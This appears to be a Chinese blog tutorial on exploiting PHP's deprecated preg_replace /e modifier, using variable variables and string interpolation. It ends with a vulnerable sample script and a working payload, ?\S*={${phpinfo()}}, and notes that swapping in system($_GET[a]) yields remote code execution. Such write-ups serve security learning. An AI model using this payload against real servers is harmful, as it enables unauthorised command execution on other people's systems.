前置知识
php的可变变量
php中,
代表把变量$a的值当作变量名使用,如:$$a
$a = "hello";
$$a = "world";
echo $hello;
输出为"world"
php字符串中的变量名解析
在php中,双引号包裹的字符串内如果有变量名,则会把变量名解析之后嵌入到字符串中
最基本用法:
$a = "Mak";
echo "My name is $a";
输出"My name is Mak"
在一些时候需要加上大括号以避免歧义,如
$a = "Mak";
echo "My name is ${a}4R1";
输出为"My name is Mak4R1"。
如果没有大括号,php就会去寻找名为a4R1的变量。
在这里可以使用可变变量,在大括号里放一个变量$b的值为"a",php先解析$b取得"a",再解析$a取得"Mak",即$$a,像这样:
$a = "Mak";
$b = "a";
echo "My name is {${$b}}4R1";
输出为"My name is Mak4R1"。
在一些版本的php中,如果大括号内的变量名是一个带()的函数,那么php会调用这个函数取得返回值(相当于之前的$b),再寻找名为此返回值的变量进行嵌入。如:
$a = "Mak";
echo "My name is ${chr(97)}4R1";
在这里php执行了函数chr,取得返回值"a",然后找到了$a进行嵌入。
在一些php版本中,这样的以字符串中变量解析的方式调用函数,需要再套一层大括号
像这样:
$a = "Mak";
echo "My name is {${chr(97)}}4R1";
也就是说如果我们的输入能被直接放到双引号中,就可以构造这样的payload来进行任意php函数执行。
这一点网上讲preg_replace漏洞的文章都没有讲清楚,但其实也不难
preg_replace函数
preg_replace($pattern,$replacement,$subject);
搜索 subject 中正则匹配 pattern 的部分,以 replacement 进行替换。
如
echo preg_replace("/test/","try","test php test 123");
返回"try php try 123"
/e模式
/e模式下的preg_replace,在$pattern和$subject成功匹配的情况下会把第二个参数$replacement当作函数执行,取返回值作为preg_replace的$replacement参数。如:
echo preg_replace("/test/e","chr(65)","test php test 123");
会执行函数chr(65)获得"A"作为$replacement参数
返回值为A php A 123
/e模式很危险,在7.x版本后就停用了,改为preg_replace_callback函数。
正则匹配中的* . \S () "\\1"
代表匹配除了换行符的任意字符.
代表匹配任意可见字符\S
代表匹配零个或多个*
如\.*代表匹配零个或多个任意字符,即直接匹配一整个字符串
代表分组匹配,可以使用反向引用()
如用"(a\S*)"来匹配"adfx\nbagh",即分组匹配a接上零个或多个可见字符,匹配到两组,分别为adfx和agh。
这个时候如果在replacement中使用回调,"\\n"代表匹配到的第n组字符串,如\\1代表"adfx",例子:
利用姿势
如果$replacement可控,那就可以直接输入任意函数执行了,一般是$subject或者$pattern可控,然后$replacement是个回调$subject中内容的,题目:
<?php
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
?>
将get请求的参数名作为分组匹配的内容,参数值作为subject
我们给的subjec如果能一次全部匹配上,会被放入strtolower("\\1")的双引号中作为\\1的内容
因此可以利用php解析字符串+把函数当作可变变量的特性,把subject设为{${phpinfo()}},再把patter设为\S*来一次匹配所有字符,就能把整个"{${phpinfo()}}"作为匹配到的第一组数据放入双引号中进行解析,从而执行依据前置知识中的逻辑执行phpinfo函数。
因此payload为?\S*={${phpinfo()}}
然后phpinfo()改成system($_GET[a])即可rce,注意这里的payload不能有引号
Comments 1 条评论
博主 qxpmHBjFSAXQNPDe
这是一条私密评论